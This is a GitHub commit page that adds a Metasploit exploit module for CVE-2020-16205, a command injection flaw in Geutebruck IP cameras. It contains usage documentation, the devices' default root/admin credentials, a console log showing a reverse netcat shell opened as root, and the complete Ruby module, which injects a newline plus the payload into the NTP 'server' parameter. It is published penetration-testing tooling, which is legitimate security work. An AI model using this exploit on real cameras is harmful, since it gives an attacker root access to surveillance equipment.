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Land #13986, Add CVE-2020-16205 exploit for Geutebruck G-CAM
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gwillcox-r7 committed Aug 17, 2020
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## Vulnerable Application

The following [Geutebruck](https://www.geutebrueck.com) products using firmware versions <= 1.12.0.25,
firmware version 1.12.13.2 or firmware version 1.12.14.5:
* Encoder and E2 Series Camera models:
* G-Code:
* EEC-2xxx
* G-Cam:
* EBC-21xx
* EFD-22xx
* ETHC-22xx
* EWPC-22xx

Many brands use the same firmware:
* UDP Technology (which is also the supplier of the firmware for the other vendors)
* Ganz
* Visualint
* Cap
* THRIVE Intelligence
* Sophus
* VCA
* TripCorps
* Sprinx Technologies
* Smartec
* Riva

This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.

### Description

This module exploits an authenticated OS command injection vulnerability (CVE-2020-16205) within the
`server` GET parameter of /uapi-cgi/admin/testaction.cgi when the `type` parameter is set to `ntp`.
This issue occurs due to a lack of validation on the `server` parameter, which allows an attacker to
inject a new line character, followed by the command they wish to execute, at which point the server will
then interpret the new string as a separate command to be executed. Successful exploitation will result in
remote code execution as the `root` user.

Users can find additional details of this vulnerability on the advisory page at https://us-cert.cisa.gov/ics/advisories/icsa-20-219-03.

## Verification Steps

1. Start the camera using default configuration
2. Launch msfconsole
3. Do: `use exploit/linux/http/geutebruck_testaction_exec`
4. Do: `set httpusername <camera_username>`
5. Do: `set httppassword <camera_password>`
6. Do: `set lhost <metasploit_ip>`
5. Do: `set rhosts <camera_ip>`
6. Do: `set payload cmd/unix/reverse_netcat_gaping`
7. Do: `check` to be sure the target is vulnerable
8. Do: `exploit`
9. You should get a shell

## Options

The default credentials to log on the web interface are root/admin.

### HTTPUSERNAME
A username used to authenticate on the admin page. **Default: root**

### HTTPPASSWORD
The password of the username used to authenticate on the admin page. **Default: admin**

## Scenarios
### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.
```
msf5 > use exploit/linux/http/geutebruck_testaction_exec
msf5 exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping
payload => cmd/unix/reverse_netcat_gaping
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httpusername root
httpusername => root
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin
httppassword => admin
msf5 exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf5 exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf5 exploit(linux/http/geutebruck_testaction_exec) > exploit
[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Attempting to exploit...
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2020-04-02 18:26:28 +0200
pwd
/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-ge52275bd #1 PREEMPT Thu Jul 25 20:25:39 KST 2019 armv5tejl GNU/Linux
```
101 changes: 101 additions & 0 deletions modules/exploits/linux/http/geutebruck_testaction_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
'Description' => %q{
This module exploits an authenticated arbitrary command execution vulnerability within the 'server'
GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware
versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.
Successful exploitation results in remote code execution as the root user.
},

'Author' =>
[
'Davy Douhine' # ddouhine
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-16205' ],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ],
[ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ]
],
'DisclosureDate' => 'May 20 2020',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_ARMLE],
'Targets' => [
[ 'Automatic Target', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
)
)

register_options(
[
OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]),
OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-cgi/admin/testaction.cgi']),
]
)
end

def firmware
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => '/brand.xml'
)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

res_xml = res.get_xml_document
@version = res_xml.at('//firmware').text
return true
end
end

def check
result = firmware
return result unless result == true

version = Gem::Version.new(@version)
vprint_status "Found Geutebruck version #{version}"
if version < Gem::Version.new('1.12.0.25') || version == Gem::Version.new('1.12.13.2') || version == Gem::Version.new('1.12.14.5')
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
print_status("#{rhost}:#{rport} - Attempting to exploit...")
send_request_cgi(
{
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'type' => 'ntp', 'server' => "\n#{payload.encoded}" }
}
)
end
end

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